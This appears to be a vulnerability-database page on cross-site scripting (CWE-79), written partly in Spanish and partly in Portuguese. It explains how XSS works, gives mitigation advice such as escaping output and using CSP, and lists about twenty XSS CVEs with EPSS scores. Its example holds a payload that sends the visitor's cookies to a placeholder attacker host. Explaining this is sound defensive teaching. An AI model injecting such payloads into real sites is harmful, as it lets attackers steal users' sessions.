Fallos del tipo CWE-79

29.952 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-73084MEDIUMActivepieces: Reflected Cross-Site Scripting in OAuth Redirect EndpointEPSS 0.4%CVE-2026-15650MEDIUMRT Mega Menu <= 1.5.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'pointer_menu_item' Block AttributeEPSS 0.4%CVE-2026-15297MEDIUMNewsletter, SMTP, Email marketing and Subscribe forms by Brevo (formely Sendinblue) <= 3.1.77 - Reflected Cross-Site ScriptingEPSS 0.4%CVE-2026-90602MEDIUMAnil-matcha Open-Generative-AI Studio Components ImageStudio.js renderHistory cross site scriptingEPSS 0.4%CVE-2024-51801MEDIUMWordPress Brand my Footer plugin <= 1.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-22725MEDIUMOrthanc versions before 1.12.2 are affected by a reflected cross-site scripting (XSS) vulnerability. The vulnerability was present in the seEPSS 0.4%CVE-2024-50551MEDIUMWordPress EndomondoWP plugin <= 0.1.1 - Stored Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2026-37980MEDIUMOrg.keycloak.forms.login: keycloak: keycloak: arbitrary code execution via stored cross-site scripting (xss) in organization selection login pageEPSS 0.4%CVE-2025-11450MEDIUMReflected Cross Site Scripting in ServiceNow AI PlatformEPSS 0.4%CVE-2024-21584MEDIUMPleasanter 1.3.49.0 and earlier contains a cross-site scripting vulnerability. If an attacker tricks the user to access the product with a sEPSS 0.4%CVE-2024-2258MEDIUMForm Maker by 10Web <= 1.15.24 - Authenticated (Subscriber+) Stored Self-Based Cross-Site ScriptingEPSS 0.4%CVE-2024-25898MEDIUMA XSS vulnerability was found in the ChurchCRM v.5.5.0 functionality, edit your event, where malicious JS or HTML code can be inserted in thEPSS 0.4%CVE-2024-50549MEDIUMWordPress Bonway Static Block Editor plugin <= 1.1.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2023-41241MEDIUMWordPress SureCart Plugin <= 2.5.0 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-50552MEDIUMWordPress Hover Video Preview plugin <= 1.0.2 - Stored Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-6228MEDIUMSina Extension for Elementor <= 3.7.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via `Sina Posts`, `Sina Blog Post` and `Sina Table` WidgetsEPSS 0.4%CVE-2025-11449MEDIUMReflected Cross Site Scripting in ServiceNow AI PlatformEPSS 0.4%CVE-2024-6340MEDIUMPremium Addons for Elementor <= 4.10.36 - Authenticated (Contributor+) Stored Cross-Site Scripting via Countdown WidgetEPSS 0.4%CVE-2024-4564MEDIUMCoDesigner WooCommerce Builder for Elementor – Customize Checkout, Shop, Email, Products & More <= 4.4.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via Multiple WidgetsEPSS 0.4%CVE-2024-5485MEDIUMSureTriggers – Connect All Your Plugins, Apps, Tools & Automate Everything! <= 1.0.46 - Authenticated (Contributor+) Stored Cross-Site Scripting via Trigger Link ShortcodeEPSS 0.4%